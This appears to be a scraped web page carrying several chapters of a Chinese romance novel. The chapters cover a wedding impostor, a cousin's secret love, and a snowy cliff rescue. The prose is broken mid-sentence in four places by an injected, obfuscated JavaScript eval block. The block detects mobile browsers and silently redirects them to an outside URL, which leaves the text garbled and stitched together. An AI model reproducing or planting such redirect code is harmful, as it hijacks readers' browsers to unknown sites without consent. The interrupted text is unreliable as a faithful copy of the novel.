“待尘埃落定,柳家人上门问罪,我再好好道歉。这门婚事太难得了,你也知道我们这种商贾人家,虽然吃喝不愁,但是往上巴结,想都别想。柳家倒是出了个争气的女儿,家世背景也简单,咱们的儿子嫁进去是能享一辈子福的,到时候你我也能沾上光。” 看到秦氏还在纠结,秋思雨狠下心补充道:“若不是你我没有女儿,只能找个好媳妇,我也不会这么逼川白,他是我的儿子,我自然心疼他。只是他还年轻,不知道什么是好的,他不懂,你作为他的父亲不能不懂。” 没能给秋思雨生个女儿是秦氏最大的心病,听到妻主提到子嗣问题,秦氏偃旗息鼓,没有再替自己的儿子说话。 只是他心里不由得为自己的儿子担心,秋川白小时候身子不好,隔三差五地生病,秦氏整夜整夜地照顾他,如今好不容易把秋川白身子养得还算不错。 谁知道闹这么一遭,秋川白的身子会不会有什么损伤。 看到秋川白不仅没有消瘦,气色反而比出嫁前更好,秦氏知道柳家人待秋川白一定是极不错的,心里不禁感叹妻主的决定真是英明。 “你今日回家,你父亲昨夜一晚上没睡着,早早就去厨房里忙着了。”秋思雨笑着从秦氏身后走出来,“忆安,这是你第一次回家,千万别拘束。” 秋思雨的话让秦氏想起媳妇还在一旁看着,他连忙把大家迎进门,“对对,大家别在门口站着了,快进屋坐。” “忆安,这两日,我们家川白没给你添什么麻烦吧?” 这两日,见柳府并未来人质问,秋思雨猜测秋川白入了洞房后便认命了。但是她心里还是不安稳,想试探一下柳忆安的态度。 “川白他很好,我的母父都很喜欢他,我…也很心悦他。” 看到柳忆安略带羞涩的神情,秋思雨作为过来人立刻明白了她对秋川白的爱慕之情,也确认柳家人对这门亲事并无异议,心中的石头终于落下了。 “看到你们感情和睦,我们就放心了。”秋思雨给秦氏眼神示意,“我带忆安在宅子里转转,熟悉熟悉。秦郎,厨房里是不是还有事需要你看顾?” 秦氏接收到秋思雨的示意,连忙接话,“炉子上炖着乌鸡人参汤,需要我亲自来掌握火候,川白你随我一起去帮忙。” 话毕,秦氏拽着秋川白一起去了厨房。 厨房里,秦氏终于有机会单独询问秋川白大婚之日发生的所有事情。 “川白,大婚那日的情形你详细与我说说,柳家人有没有发现你是不情愿的?” “他们不知道……”秋川白一边摆弄汤罐,一边思考如何搪塞父亲的询问,“忆安问我腿脚为何被捆住,我说这是兄弟几个开玩笑开得过了。” “你那日如何又肯了?”秦氏不知道自己的儿子为何突然在新婚那日想通了。 秋川白逃避着父亲的眼神,小声地说:“我看柳忆安长得那么漂亮,对我又温柔,自然就肯了。” “那是自然,我们给你挑人家,那是千挑万选,肯定错不了。”听到儿子终于认可这门亲事,秦氏倍感欣慰。 “如今你也认可了柳忆安,那从今往后可千万别再闹出什么幺蛾子了,若日后柳忆安能考中进士,你可就是官夫人,咱们全家都跟着你沾光。” 「还不是把我当作你们攀附权贵的工具罢了。」 秋川白默默地想。 见秋川白不吭声,秦氏换了话题。 “我给你讲讲这家里的经营之道,要知道咱们这种有点家底的人家,管理下人的门道可多着呢……” 这边,秦氏在厨房里对秋川白喋喋不休地讲起了治家之道。而在另一边的花园里,秋思雨对着柳忆安开始问东问西。 “忆安啊,我这儿子自小被家里宠坏了,如果有什么冲撞了你的,你千万多担待一些。” “婆婆您放心,川白温柔细腻,待人谦和有礼,能娶到他,是我的福气。” 柳忆安对秋川白的一通夸奖哄得秋思雨高兴极了,她伸出手拍了拍柳忆安的肩膀,“贤媳客气了,是川白运气好,才能遇到你这么好的妻主。这几日也辛苦你的母父了,你替我问候她们一声。我最近刚在郊外购入了一个带温泉的庄子,若是得空,咱们两家人一起去放松放松……” 话还没说完,就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14791793|158140||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 见一个下人匆匆跑来,对秋思雨小声汇报了什么事情。 秋思雨面色一变,让下人下去后就对柳忆安道歉道:“忆安,店里有点事情急需我去处理,你先自己在这花园里逛逛,马上就有人来接你去大厅,实在抱歉了。” 待秋思雨匆匆离去,柳忆安一个人在院子里逛了起来,只是稍微多走了两步,就被假山绕得找不到来时的路了。 正当柳忆安困在花园里不知如何是好,一个温柔的男声从假山后传来。 “姑娘可是要去前厅?” 这声音似林籁泉韵,清澈而婉转,抚平了柳忆安的焦躁不安。 “秋府景致秀丽,柳某看得入迷不慎迷了路,还请麻烦这位公子为我指路。” “姑娘不必客气,沿着姑娘左手边这条小路走到尽头,便能看见一株白梅,白梅西侧便是通向前厅的路,姑娘走到那便能看见前厅了。” “多谢这位公子,还未请教公子大名?”柳忆安想当面向他道谢。 “姑娘无需多礼,在下只是路过。因还未婚配,不便与外女接触,劳烦姑娘见谅。” 原来是秋家还未出阁的小公子。 不过柳忆安听说秋川白只有一个已经出嫁的哥哥,没听说过家里还有什么未婚的兄弟,这又是哪里出来的秋家的公子? 柳忆安没有深究其中缘由,道谢后便匆匆回到了前厅。 前厅的下人见到柳忆安,连忙将她引到座位上,秋川白已经候在那里有一会儿了。 见四周无人,柳忆安向秋川白打听起刚才遇到的人。 “川白,你是否还有一个未婚嫁的兄弟?方才我迷了路,一个自称还未婚嫁的公子为我指了路。” “哦!那大概是我表弟,他的父亲是我母亲的亲弟弟。”说起表弟,秋川白的眉眼间流露出一丝怜悯,“他的双亲在他幼时就过世了,是他的祖母将他带大,前年连祖母也过世了,便被母亲接到府上暂住。” “确实是个身世坎坷的人。”柳忆安感慨道。 还没等两个人讨论完,秋思雨已经归府,下人来传话说午膳已经备齐,邀请二人入席。 见席上没有表弟的身影,秋川白发问:“母亲,轻尘表弟不同我们一起用膳吗?” 按照惯例,家族聚餐时未婚男子不必避讳外女,因此秋川白对方轻尘的缺席感到很奇怪。 “轻尘有些害羞,不喜欢与外人接触,怕失了礼数,就在后院用膳了。”秦氏解释道。 柳忆安闻言点点头,未多想,只是觉得那位表弟实在有些神秘。秋川白却觉得有些蹊跷,但碍于场合并未追问。 事实上,是秋思雨特意嘱咐方轻尘今日不要露面,怕柳忆安察觉拜堂之事的端倪。 方轻尘一向感激姑姑和姑父的收留之恩,对她们的要求无不答应。 只是方轻尘难忘大婚那日,他冒充秋川白同柳忆安拜堂时,柳忆安牵着他的手,告诉他不要紧张,她为他备了最难买的点心。 自从祖母离开他后,这是第一次有人关心他的心情,关心他饿不饿。 他藏在红色的盖头后面,幻想牵着自己手的人是何模样。 今日柳忆安陪着秋川白回娘家,虽然被姑姑告知切不可离开后院,不可让外人见着自己。 但是他忍不住心里的好奇,想偷偷看一眼和自己拜堂的人,究竟长什么样子。 于是他悄悄绕过后院的小径,藏身于假山之后,远远地窥视那个自己幻想了千百次模样的人。 透过蜿蜒的树枝,他终于窥得柳忆安的身影。 虽瞧得不清楚,但在那一瞬间,他听见了自己的心跳如战鼓般急促。 5. 嫉妒 大婚那日,宴席之上,方轻尘听到宾客纷纷感慨:这柳家姑娘竟如此秀美,新郎真是好福气啊。 今日瞧见,只觉得秀美二字并不能道尽柳忆安的风采。 她踱步于庭院深处,身影纤长婀娜,在层叠的树影下,她的轮廓若隐若现,好似一幅绝美的工笔画。 方轻尘静静地观察了一会儿,不忍看她越来越慌张的模样,最终违逆了姑姑对他的嘱托,出声为她指了路。 宾客说得不错,新郎真是好福气。 只可惜那个人不是他,他不过是短暂顶替他人位置的小偷。 方轻尘不由得嫉妒秋川白,这门他人羡慕都羡慕不来的婚约,竟被秋川白视为洪水猛兽。 不过没听说大婚夜并未有什么波澜,想必在见到柳忆安的那一刻,秋川白所有的不满都消失了吧。 待柳忆安从视线里消失,方轻尘收回目光,悄然回到了后院,装作从未离开过,只有心里留下了难以言明的失落。 饭桌上,秦氏一边为秋川白夹菜,一边叮嘱他:“川白,你可不能再似出嫁前一般挑食了,如今你已经成婚了,该为子嗣之事做准备了。” 秋川白听闻,心中一慌,被饭菜呛到。 柳忆安见状,赶紧递上茶水,并为他轻轻拍打后背。 “子嗣之事倒还不急,待我明年参加春闱后再议也不迟。” 见柳忆安本人并不着急,秋思雨便顺着她的意思说下去:“这都是你们小两口的事情,你们做主。有什么需要我和秦郎帮忙的,随时开口。” 剩下的时间里,子嗣的话题被有意无意地搁置,饭桌上的气氛也逐渐轻松起来。大家随意地聊起家常,秦氏时不时地为秋川白布菜,柳忆安则一旁温声应和,两人看起来倒真有几分新婚夫妇恩爱的模样。 用完午膳后,因柳忆安第二日就要回书院,两人稍坐片刻便回了柳府。 马车上,秋川白刚因成功搪塞了母父而开心,又立刻想到柳忆安第二日便要启程前往书院,从此只留他一个人待在柳府,同岳母岳父待在一处,心里又多了些苦闷。 正当秋川白思索应如何在家扮演一个贤夫,柳忆安却主动提起了这个问题。 “待我明日前往书院,起码半个月不能回府。” 秋川白点点头,“我知道,岳父已经同我说过。” “你同我母父待在同一屋檐下,需要掩饰的事情太多,想必不会自在。今日回府后,我会向母亲提出在书院旁买一小宅院,到时你以照顾我的名义搬过去。” “真的?太好了。” 秋川白想起自己出嫁时,母亲备了丰厚的嫁妆给他,便提出由他来购买宅子。 “这宅子不用你出钱,用我的嫁妆买吧。” 柳忆安皱了皱眉头,觉得不妥,秋川白见状迅速补充道:“这宅子就记到我名下,算做我个人的财产如何?” 这样的话倒也合情合理,柳忆安微微点头,算是同意了他的提议。。 到家后,柳忆安直奔书房,向柳云讲了她的打算。 柳云觉得夫妻俩离得近是好事,点头应下,“既然你们决定了,就着手去办吧,你们夫妻俩彼此挂念,我们长辈也不多插手了。” 见到母亲答应,柳忆安心里放松了下来,随即说道:“多谢母亲体谅,秋郎说他想用自己的嫁妆购置,我已允他记在自己名下,算是他个人的财产。” 柳云听闻,愣了一下,想教育柳忆安不要觊觎男方的嫁妆,但宅子记在秋川白的名下的话,似乎也没什么问题。 “你们决定吧,都成家了,有些事情该你自己拿主意了,不必事事都向我汇报。” “是,母亲若无其他事情,我就先退下了。”柳忆安转身要走。 “你等等,今日天气骤冷,恐怕将会有一场大雪,记得将那件狐皮大氅带去书院。” 柳忆安应下后就离开了书房,秋川白正站在廊下等她。 见到柳忆安出来,秋川白的眼神亮了亮,迫不及待地问:“怎么样,母亲同意了吗?” 也许是秋川白的眼神让他看上去像是一只满怀期待的小鹿,柳忆安不由得微微一笑,温柔地回应他,“母亲同意了,宅子的事情就由你全权决定。” 两个人并肩回到房中,各自收拾自己的物品,都期待着未来的新生活。 半夜,秋川白躺在榻上,想到自己即将拥有一个属于自己的宅子,激动得睡不着觉。他本以为被母亲强嫁出去后,等待自己的是身不由己的主夫生活,现如今自己反倒可以做主,这与他想象的情况完全不同。 秋川白在床上躺了许久,也还是难以入睡,干脆从床上爬起,走到床边,看着柳忆安熟睡的样子。 柳忆安平日里总是端庄大方的模样,可是睡觉时的姿势却不老实,被子没有好好盖着,反而被压入身下。 听见窗外呼啸的风声,秋川白担心柳忆安夜里受凉,又不想拽出她身下的被子惊扰到她,就把自己的被子拿来为她盖上。 “多谢。” 替柳忆安盖上被子后,秋川白悄悄地说出了这两个字。 第二天清晨,柳忆安发现自己的床上有两床被子,心里十分意外,接着便瞧见秋川白躺在榻上,身上只盖了件大氅,想来是秋川白将自己的被子让给了她。 看着秋川白蜷缩在榻上的身影,柳忆安心头一动,大氅虽然厚实,终是不如被褥温暖,他将被褥让给了她,是不是意味着自己终于打动他了一些。 柳忆安拿起棉被,正要替秋川白再盖上,窸窸窣窣的声音却将秋川白弄醒。 “真不好意思,将你吵醒了。”柳忆安充满歉意。 “是我睡够了,不是柳姑娘将我吵醒的。”因刚刚睡醒,秋川白的声音还带着几分沙哑,“柳姑娘今日打算何时出发?” “昨夜下了大雪,现下路上积雪未化,需得早点出门,待我洗漱完毕就出发了,今日恐怕无法同你一起用早膳了。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14791794|158140||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 闻言,秋川白立刻从床上爬起,“怎么突然下了大雪,不然今日我陪你一同去书院吧,刚好瞧瞧附近的宅子。” 柳忆安觉得宅子的事情不急于今天,外面天寒地冻,估计从书院往返都得用上一整天的时间,哪里还会有时间去看宅子。 “秋郎不急,待积雪融化一些你再去挑选宅子吧。今日路上不方便,天也黑得早,让你一个人回来,我不放心。” 也对,自己一个男子,不太方便在黑夜赶路,秋川白便放弃了同柳忆安一同前去书院的想法。 收拾完毕后,柳忆安便启程前往书院,临行前她宽慰秋川白:“秋郎,母亲父亲都是极为宽厚的人,你在家中大可随意些,不必拘束。待过两日放晴,你再去挑选宅子,到时候也就无人能扰你了。” 话毕,柳忆安去向母父道别,出发前往书院。 送走了柳忆安,秋川白回到了房里,思索这两天发生的一切。 原本以为落入了万劫不复的境地,结果却在柳家意外地感受到一丝喘息的空间。柳忆安的体贴与包容让他的心里滋生出一丝奇妙的安全感,他甚至开始恍惚,觉得嫁给柳忆安或许是一个不错的选择,何必执着于什么命中注定的邂逅。 意识到自己在想什么的时候,秋川白被吓了一跳,摇了摇头,企图将这突如其来的念头甩开。 他不能忘记自己对婚姻的期待,无能放弃追寻真爱的机会,不能仅仅一个人对他“好”而误以为那就是爱。 秋川白在内心提醒自己,不要忘记父亲在深夜痛哭的身影,不要顺从地步入无爱的婚姻。 他抬头看向窗外,风雪未停,天地被白茫茫大雪覆盖,只留下一院的素白。 这幅雪景让他记起了过去,那时母亲还未与郁小侍重逢,父亲总会在这样大雪的日子里,在院子的角落支起一个火堆,里面是烤得热乎乎的红薯。 母亲归家前,父亲会挑出一个看起来最甜的红薯,晾到温热的状态,在母亲到家的第一时间递到她手中。 秋川白记得,那时的父亲,眼中满是对妻主的爱意和崇拜。 只是自从郁小侍被纳入府中,母亲归家后第一件事便是去看望郁小侍,早已将自己的正夫放在了脑后。 不知不觉中,秋川白已经走到窗边,寒风裹挟着雪气袭向他,将他从回忆中吹醒了过来。 想到父亲的失意,秋川白苦笑了两下,伸出手关上了窗户,拿起一旁的书册,试图用文字让自己的心绪平静下来。 然而,无论他怎样努力,那些文字都无法进入他的脑海,他脑中全是这几日与柳忆安相处的场景。 他记起柳忆安为他戴上玉镯,记起柳忆安为他取药。 还未等他回忆完这两日与柳忆安相处的点点滴滴,却见华来匆匆忙忙地推门闯了进来。 “公子,大事不好了!刚才下人来报,柳姑娘的马车在路上打滑,连车带人跌下山崖,现下生死未卜,大家正全力寻找呢!” 6. 寻人 听到柳忆安出了意外,秋川白立刻从座椅上跳起,连茶水被掀翻都没有注意到。 “到底怎么回事,这出门还不到一个时辰,如何就从山崖上摔下去了?” “具体情况小的也不太清楚,现下家主已经带着家仆去寻人了,公子,咱们该怎么办啊?”华来哭丧着脸。 秋川白随手取来一件披肩,胡乱披上,大步向门外走去,“备车,回秋家,我带着秋家的家仆一同去找。” “可是,刚刚所有的马车都被家主带走了。”华来一路小跑,跟在秋川白身后。 “那就同我跑着回秋家。” 想到柳忆安生死未卜,秋川白只觉得心脏像是被谁紧紧攥住,呼吸逐渐急促了起来。他的步伐越来越快,越来越快,到最后几乎是在狂奔。 寒风肆虐,他的发髻被吹得散乱,平日里富家公子的从容此刻已荡然无存。脚下一颗不起眼的石子绊得他一个踉跄,但他顾不得站稳,便跌跌撞撞地继续向前奔去。 “公子您慢点,别摔着。”华来见状,边跑边喊道。 长街上积雪未化,无人的街道仿佛被冰雪冻住,直至一抹红色打破了这种寂静。那人的红色披风被风扬起,似流动的火焰,执着地向前奔赴。 一进秋府大门,秋川白便喊道:“快,把在家中的仆人都叫出来,随我去救人。” 方轻尘此时正在前院打扫,见秋川白狼狈不堪地跑回来,走上前询问他发生了什么。 “妻主在去书院的路上跌下了山崖,现在下落不明,我要带人去找她。” 秋川白的话宛如利刃刺入了方轻尘的胸口,他不愿相信,昨日还在和自己对话的女人,今日竟生死未卜。 “你报官了吗?” 因律令规定,若亲人下落不明,需满二日才可报官,故而秋川白并未考虑在这个时候报官。 “还未。刚得知消息我便跑回家了,现下妻主失踪还未到一日,官府会受理吗?” “柳家和秋家是县里最显赫的富户,你去报官,就算失踪不到一日,知县大人也不会不管。” 秋川白有些迟疑,“这…这可行吗?” 见秋川白纠结,方轻尘十分着急,“现下不论行不行都得试试,你同姑母一同去官府,姑母常和知县打交道,知道怎么说。我带上家中仆人去寻你妻主,咱们分开行动。” “好,那就拜托你了。”秋川白不再犹豫。 说罢,秋川白便去找秋思雨一同前去官府报案,而方轻尘领着家仆,匆匆地赶去柳忆安失踪的地方。 山崖边,柳云正带着家仆寻找柳忆安,只是所有踪迹都掩盖于大雪之下,难以分辨柳忆安掉落的具体位置,连通往山地的小路也因大雪而无迹可循。 方轻尘到时,所有人都在山崖边着急,曲氏跌坐在雪地里哭喊:“让我下去救我的女儿,我什么都不怕,你们别再拦着我了。” 柳云尝试把曲氏拉起来,无奈地回答他:“现下什么都看不见,你腿脚又不方便,你下去除了白白葬送一条性命,能有什么用?” 曲氏不愿起身,哭嚎道:“这么冷的天,难道我要等我的女儿被活活冻死吗?” “让我去,我去山下将女儿寻回来。” 方轻尘上前打断了二人的争执,“伯母伯父,我是秋川白的表弟方轻尘,表弟同我姑母去报官了,让我先带着家仆来协助你们。” 有外人在,曲氏也不再哭闹,抹了抹眼泪,向方轻尘问好。 “原来是婿弟,多谢你前来助我们一臂之力,只是如今能通向山脚的小路都无迹可查,现下似是没什么办法。” “我可以下去,”方轻尘看着曲氏的眼睛,坚定地说道,“将绳子捆在我的腰上,把我吊下去。” “你的心意我们领了,只是这个方法风险太大,你是外人,我们不能让你去冒险,若是出了事,我们该如何与亲家交代啊。”曲氏感激方轻尘挺身而出,但是他不想将外人牵扯进来,他已经做好决定,打算亲自到山脚寻找女儿。 方轻尘也不愿松口,“伯父,既是亲家,便是一家人,莫要在这紧要关头客气,我年轻力壮,腿脚麻利,是最合适的人选。” 曲氏摇头摇,还是不同意,“你是一个好孩子,我不愿让你担起风险。” 方轻尘不再和曲氏僵持,转身拿起绳索系在腰上,一想到柳忆安还在山下不知所踪,他的心就仿佛被凌迟一般。 他一秒都等不下去了。 曲氏还想阻拦,秋思雨走上前将他拽到身后。 秋思雨见方轻尘态度坚决,知道拦不住他,没有多言,而是冲他跪下,向方轻尘行了拜手礼。 “多谢公子仗义出手,此恩无以为报,若日后公子有任何需要帮忙的,鄙人万死不辞。” 说完便起身,对家仆吩咐道:“来两个人,同公子一同下去,其余人将绳子捆牢抓紧,不能有任何闪失!” “是!” 身后的家仆领下命令,开始忙碌起来。 方轻尘将绳子的另一端绕到崖边的一棵大树上,确认绳子系牢后便沿着峭壁慢慢朝着山底滑下。 山脚下没有人影,看来柳忆安掉落的地方据此处还有一段距离。 等那两个家仆下来后,他吩咐一个人留守原地,同另一个人各自往一个方向去寻人。 山底的雪已经积到小腿那么深,方轻尘每一步都走得费力,他忽然想起父亲刚过世的那段时间,母亲看他的眼神总是带着怨气。 父亲刚过世时,母亲难以接受这个事实,整日酗酒度日。醉酒后,虽不动手打他,但总是恶狠狠地盯着他,怨恨地说:“你这个扫把星,若不是生你的时候落下病根,我的夫君何至于如此短命。” 母亲的咒骂此时又回响在他的脑海里,接着他又记起自己的亲人一个接一个地离开,他开始害怕自己真的是个扫把星。 他控制自己不要瞎想,当下找到柳忆安才是最重要的事情。 他不会是扫把星,他不会给柳忆安带去灾难。 他拖着冻僵的腿在雪地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14791795|158140||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里前行,湿冷的雪水渗透进他的靴子里,刺骨的寒意从脚底蔓延到全身。 不知道过了多久,就在他双腿已经僵到难以移动的时候,他看见一条衣带挂在前方的树枝上。 就在这附近了! 方轻尘的疲倦被一扫而空,再次充满了力量,在附近搜索起来。 最终,在那棵树的后方,他发现了柳忆安的身影。 方轻尘连忙跑过去,轻轻探了柳忆安的呼吸,还好,人还活着。 只是柳忆安陷入昏迷,不论他如何唤她的名字,都毫无反应。 方轻尘背起柳忆安,往当初落地的方向走去。 “你再坚持一会儿,我们马上就得救了。” 即使身后的人什么也听不见,方轻尘也想对她说些什么。 “别人说大难不死必有后福,想必你明年考试必能取得好名次,所以你千万要撑住啊。” “好多人都在等你呢,大家都为你着急。” “你是最厉害的,所以你一定可以撑下去的对不对?” 就这样絮絮叨叨了一路,方轻尘终于找到了候在原地的家仆。 方轻尘尝试把绳索捆在自己和柳忆安的身上,但是因为柳忆安仍在昏迷的状态,无论怎么捆都不牢固。 担心柳忆安在这个过程中再次受到伤害,最终他们放弃了这个方法,决定让家仆先上去禀告柳云,再多带几个人下来帮忙。 而方轻尘则留在山脚照顾柳忆安。 家仆先陪着他们在附近找了个山洞以躲避风雪,随后便通过绳索上去寻人帮忙了。 方轻尘在山洞里生了火,将自己的外袍烤干后盖在了柳忆安身上。 柳忆安的嘴唇已经干裂,但是短时间内又找不见容器,他只好将一抔雪捧在手心里,捂到体温的温度后,用手指将这些水涂抹在柳忆安的嘴唇上。 看到柳忆安的脸上终于有了血色,方轻尘的心里终于踏实了些,他坐到柳忆安身侧,双臂怀抱住膝盖,静静地看着那张憔悴的面庞。 昨日的她还是那么鲜活,恰如冬日里的太阳。而今日,她却虚弱地躺在自己身边,连呼吸都如此微弱。 方轻尘的心头一阵酸涩,他轻轻将手放在柳忆安的头上,却发现她的体温烫得吓人。 当务之急是让柳忆安的体温降下来,方轻尘将自己里衣的下摆撕扯了下来,用雪水打湿,不断地为柳忆安擦拭额头和手心。 方轻尘一次又一次地用雪水为湿布降温,手被冻得通红,但他不敢停下,害怕柳忆安因高烧而丧命。柳忆安滚烫的皮肤让他觉得自己心脏也在被什么东西灼烧着,他痛恨自己的无能为力。 “忆安、忆安……” 绝望之中,方轻尘一边又一边地唤着柳忆安的名字。 “忆安,求求你醒过来……” 他跪坐在柳忆安身边,感觉自己即将被绝望吞噬,一颗眼泪从他的眼角滑下,滴落到柳忆安的手背。 似乎是感受到了什么,柳忆安的手指轻轻动了动。 7. 相欠 家仆将找到柳忆安的消息告知了柳云,听到家仆的汇报,柳云终于长舒了一口气,“忆安现下状况如何?” “小姐仍在昏迷之中,方公子在一旁看护她。” 听到了女儿状况不佳,柳云迅速做出指挥,“你带几个人将药品与保暖的厚衣服带下去,我带着简舆从大路绕下去。” 就在这时,秋川白带着官兵匆匆赶到,和他同行的还有明大夫和采薇。 在秋思雨向知县大人说明情况时,秋川白担心即便找到柳忆安,也难以立即对她施以救治,便匆忙赶往医馆,请大夫随他一道赶赴救援现场。 “岳母大人,我来迟了,现下情况如何?有妻主的消息吗?”秋川白从马车上跳下,匆匆赶到柳云面前,声音因激动而发颤。 柳云指了指山崖下,眉间带着忧色,“找到了,就在山底,只是她昏迷不醒,无法直接将人带上来,我正准备带人从一旁绕下去接她。” 听到好友昏迷不醒,采薇的神色瞬间紧绷,“柳夫人,让我和家仆一同下去吧,我带了一些应急的药物,可以简单地处理一下伤口,至少先稳定一下伤势。” 采薇的提议让柳云十分感动,她快步上前,拉住采薇的手,感激地说:“多谢采薇姑娘,有你在,我心里就踏实多了。” “夫人不必多礼,等将忆安平安地带回来,再感谢也不迟。” 话毕,采薇不再耽搁,将随身的药箱绑好,朝一旁的家仆吩咐道:“检查一下绳索,确认无误后我们立刻下去。” “等等,带上我吧。”秋川白站了出来,“我随你们一起下去,她是我的妻主,我必须要陪在她身边。” 秋思雨觉得儿子有些过于冲动,贸然吊绳索下山,先不说有多危险,况且就算他下去也不一定能帮上什么忙。正欲拦住他时,忽而转念一想,如果儿子在这种危急的时刻挺身而出,日后柳家肯定会念着这份恩情。 想到这一层,秋思雨为儿子推波助澜了一把。 “是啊川白,这时候正需要你尽到作为人夫的职责,记得一定要照顾好忆安。” 秋思雨一边说,一边拍了拍柳云的肩,示意她放心。 “亲家莫要太过忧心,有川白替我们看顾忆安,想必一定会平安无事的。” 柳云点了点头,算是认可了这个提议。 秋川白在一旁等候仆人将绳索记牢,深吸了一口气,跟随采薇一同攀着绳索下滑。 秋川白此前久居阁中,从未做过如此危险的事情,山顶风大,吹得绳索来回晃动,让他心惊胆颤。 过了许久,他的双脚终于接触到了地面。落到地面的那一刻,他不安的心情稍稍平复了几分。 忽然,一阵寒风带来了刺骨的凉意,让秋川白意识到柳忆安正是在这样寒冷的雪地里躺了许久,刚感到些许安稳的心在此刻又揪了起来。 家仆带着采薇和秋川白二人来到洞穴里,方轻尘正在为柳忆安轻轻擦拭面部。 “我是大夫,让我来看看她。”采薇走上前去,将药箱打开,准备为柳忆安施针。 闻言,方轻尘侧身让开,秋川白的目光一下子落到柳忆安的脸上。 柳忆安静静地躺在地上,面色苍白,乍一看不像正发高热,平日里微波流转的眼眸此刻紧紧闭着,看不出丝毫生气。 “妻主……”秋川白不自觉地轻唤,伸出手,小心翼翼地将柳忆安的手握在掌心。 就在这时,柳忆安眼睫微动,恍惚间看见秋川白担忧地看着自己。 “川白?是你吗?” 还没等秋川白回复她,柳忆安便再次晕了过去。 “采薇姑娘!采薇姑娘!妻主怎么又晕过去了!”秋川白还未来得及高兴,就被再次晕过去的柳忆安吓得大惊失色。 采薇快速整理出需要用的银针,边摆放边对秋川白解释:“她失温甚是严重,面色却苍白如纸,想必是气血瘀滞所致。我须即刻施针调理,你在一旁为她备些热水。” “我去吧。”默默站在一旁的方轻尘从家仆带下来的包裹中翻找出容器,走出山洞,找到一片干净的雪地,俯身将雪盛满容器。 他没有资格站在柳忆安的身侧了,秋川白回来了,他才是她的正夫,能够光明正大站在她身旁的人。 而他呢?他只是借住在她夫婿家中的远房表弟,无权无势,身世卑微,甚至都没有父母可以倚靠。 在秋川白到来之前,他觉得那是一个好大的山洞,为他和柳忆安抵挡住了风雪,容下了他所有的孤寂与不安。而当秋川白走进那个山洞,他又觉得那真是一个极小的山洞,小到只能容得下秋川白和柳忆安两个人,没有留给他一丝一毫的空间。 连空气都变得稀薄,否则他的呼吸怎么会变得如此沉重。 回到山洞,方轻尘将容器架在火堆上,看见柳忆安的身上被扎了好几根银针,他的心猛然一紧,不安地问道:“采薇大夫,柳姑娘现在如何了?” “情况比较稳定了,多亏你之前处理得当,多谢了。”采薇将最后一根针扎好,转过头看着他,语气中带着感激,“请问君子该如何称呼?” 方轻尘还未来得及开口,秋川白从一旁站起,替他回答道:“刚才忘介绍了,这位是我的表弟,今日前来帮忙寻找妻主。” 接着,秋川白对着方轻尘微微躬身,表示感谢,“表弟,今日之事多亏有你相助,待回到府中,我定会答谢你今日的恩情。” 方轻尘急忙摆手,“表兄不必与我客气,我受秋家照拂颇多,理应出力。” 他说得平静,眼神却看向别处,不敢直视秋川白,生怕对方真诚的双眼看穿自己不堪的心意。 他不敢再同秋川白待在一处,大步向山洞外走去。 “我去洞外候着,若有什么需要唤我便是。” 大约两个时辰后,柳云带着人赶到山洞,将昏迷的柳忆安接回府中。 柳忆安睁开眼的时候,看见曲氏躺在一旁的榻上,而秋川白则伏在她的枕边。 “秋郎……”因太长时间没有喝水,柳忆安的声音沙哑而虚弱,几乎没有什么声响,却让秋川白瞬间惊醒。 “妻主你醒了,感觉怎么样了?”秋川白激动得喊出声,唤醒了刚刚才睡着的曲氏。 “女儿!女儿!”听到女儿醒过来的消息,曲氏立刻起身,赶到床边,紧紧拉住柳忆安的手。 “父亲……”柳忆安艰难地发出声响,“小露……马夫……” 曲氏俯下身,柔声回答:“你问小露和马夫?她们都无性命之忧,现下已在下房中歇息,你安心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14791796|158140||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 养着便是。” “妻主润润嗓子吧。”秋川白端来温水,小心翼翼地将柳忆安扶起,将杯子放在她的唇边。 柳忆安轻啜了一口,感觉干哑的嗓子被水润开。她抬眼望向站在身旁的佳人,看见对方的眼里满是对自己的关心。 